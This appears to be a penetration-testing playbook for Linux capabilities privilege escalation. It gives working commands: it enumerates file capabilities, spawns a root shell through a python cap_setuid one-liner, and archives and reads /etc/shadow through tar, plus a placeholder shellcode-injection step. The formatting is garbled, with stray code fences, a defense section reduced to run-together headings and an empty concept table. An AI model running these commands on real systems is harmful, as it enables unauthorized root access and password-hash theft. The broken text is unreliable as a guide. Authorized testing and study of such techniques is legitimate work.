Linux Capabilities Privesc

Linux Capabilities Privilege Escalation

When to Use

• During the post-exploitation phase on a Linux system after acquiring a low-privileged shell.
• When standard privilege escalation vectors (sudoers, SUID binaries, cron jobs) yield no results.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumerating File Capabilities

# getcap -r / 2>/dev/null

# ```

### Phase 2: Exploiting cap_setuid (e.g., Python, Perl, Tar)

```bash
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# ```

### Phase 3: Exploiting cap_dac_read_search (e.g., Tar)

```bash
# # tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

Phase 4: Exploiting cap_sys_ptrace (Process Injection)

# inject_shellcode $(pidof root_process)

Decision Point 🔀

flowchart TD
    A[Run getcap ] --> B{Capabilities Found ]}
    B -->|Yes| C[Match Capability ]
    B -->|No| D[Check Other Vectors ]
    C --> E[Execute PrivEsc ]

🔵 Blue Team Detection & Defense

• Audit File Capabilities Regularly: Principle of Least Privilege: Remove Development Tools: Key Concepts

  Concept	Description

Output Format

Linux Capabilities Privesc — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• HackTricks: Linux Capabilities
• GTFOBins: GTFOBins Capabilities